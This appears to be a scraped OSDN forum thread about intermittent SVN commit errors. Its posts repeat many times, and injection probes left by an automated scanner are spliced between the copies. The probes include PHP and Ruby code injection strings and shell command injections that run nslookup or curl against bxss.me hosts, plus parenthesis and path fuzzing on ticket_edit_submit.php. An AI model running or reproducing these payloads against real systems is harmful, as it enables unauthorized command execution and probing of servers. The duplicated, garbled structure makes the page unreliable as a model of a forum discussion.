Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
";print(md5(31337));$a="
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
'+'A'.concat(70-3).concat(22*4).concat(120).concat(84).concat(100).concat(85)+(require'socket' Socket.gethostbyname('hitlo'+'wcbpsdyv92bf0.bxss.me.')3.to_s)+'
ticket_edit_submit.php
'.print(md5(31337)).'
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
$(nslookup -q=cname hitgsxjlkoxpl5f295.bxss.me||curl hitgsxjlkoxpl5f295.bxss.me)
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
&(nslookup -q=cname hitzyrqgfeghya8f5e.bxss.me||curl hitzyrqgfeghya8f5e.bxss.me)&'\"0&(nslookup -q=cname hitzyrqgfeghya8f5e.bxss.me||curl hitzyrqgfeghya8f5e.bxss.me)&'
&nslookup -q=cname hitipxgajrmxxf0491.bxss.me&'\"0&nslookup -q=cname hitipxgajrmxxf0491.bxss.me&'
ticket_edit_submit.php/.
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
(nslookup -q=cname hitjtruvdzzbgf2a85.bxss.me||curl hitjtruvdzzbgf2a85.bxss.me)
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
